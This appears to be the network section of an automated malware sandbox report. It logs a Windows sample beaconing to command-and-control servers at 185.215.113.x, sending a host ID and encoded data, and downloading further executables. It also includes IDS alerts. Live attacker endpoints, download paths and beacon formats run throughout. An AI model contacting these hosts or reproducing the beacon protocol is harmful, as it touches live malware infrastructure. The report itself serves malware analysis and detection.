Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 31Cache-Control: no-cacheData Raw: 64 31 3d 31 30 30 30 39 37 39 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1000979001&unit=246122658369
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----JJECGCBGDBKJJKEBFBFHHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 45 43 47 43 42 47 44 42 4b 4a 4a 4b 45 42 46 42 46 48 2d 2d 0d 0a Data Ascii: ------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------JJECGCBGDBKJJKEBFBFHContent-Disposition: form-data; name="build"doma------JJECGCBGDBKJJKEBFBFH--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----IJJJEBFHDBGIECBFCBKJHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 49 4a 4a 4a 45 42 46 48 44 42 47 49 45 43 42 46 43 42 4b 4a 2d 2d 0d 0a Data Ascii: ------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------IJJJEBFHDBGIECBFCBKJContent-Disposition: form-data; name="build"doma------IJJJEBFHDBGIECBFCBKJ--
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 156Cache-Control: no-cacheData Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 41 32 38 37 35 42 30 35 46 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 39 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76BA2875B05F82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E9
Source: global traffic	HTTP traffic detected: POST /Zu7JuNko/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 185.215.113.43Content-Length: 4Cache-Control: no-cacheData Raw: 73 74 3d 73 Data Ascii: st=s
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGCFCBAKKFBFIECAEBAEHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 33 39 41 35 35 45 41 33 39 42 44 33 31 32 30 36 34 31 37 38 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 43 46 43 42 41 4b 4b 46 42 46 49 45 43 41 45 42 41 45 2d 2d 0d 0a Data Ascii: ------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="hwid"739A55EA39BD3120641781------CGCFCBAKKFBFIECAEBAEContent-Disposition: form-data; name="build"doma------CGCFCBAKKFBFIECAEBAE--

Source: Joe Sandbox View	IP Address: 185.215.113.43 185.215.113.43
Source: Joe Sandbox View	IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL
Source: Joe Sandbox View	ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View	JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1
Source: Joe Sandbox View	JA3 fingerprint: fb0aa01abe9d8e4037eb3473ca6e2dca

Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49967 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49713 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49990 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49992 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2803305 - Severity 3 - ETPRO MALWARE Common Downloader Header Pattern H : 192.168.2.5:49996 -> 185.215.113.16:80
Source: Network traffic	Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.5:49996 -> 185.215.113.16:80

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Code function: 8_2_00FEBE30 Sleep,InternetOpenW,InternetConnectA,HttpOpenRequestA,HttpSendRequestA,InternetReadFile,

8_2_00FEBE30

Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /profiles/76561199724331900 HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: steamcommunity.com
Source: global traffic	HTTP traffic detected: GET /mine/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /luma/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /steam/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET /well/random.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /test/num.exe HTTP/1.1Host: 185.215.113.16
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /canonical.html HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheConnection: keep-alive
Source: global traffic	HTTP traffic detected: GET /success.txt?ipv4 HTTP/1.1Host: detectportal.firefox.comUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0Accept: /Accept-Language: en-US,en;q=0.5Accept-Encoding: gzip, deflateConnection: keep-alivePragma: no-cacheCache-Control: no-cache
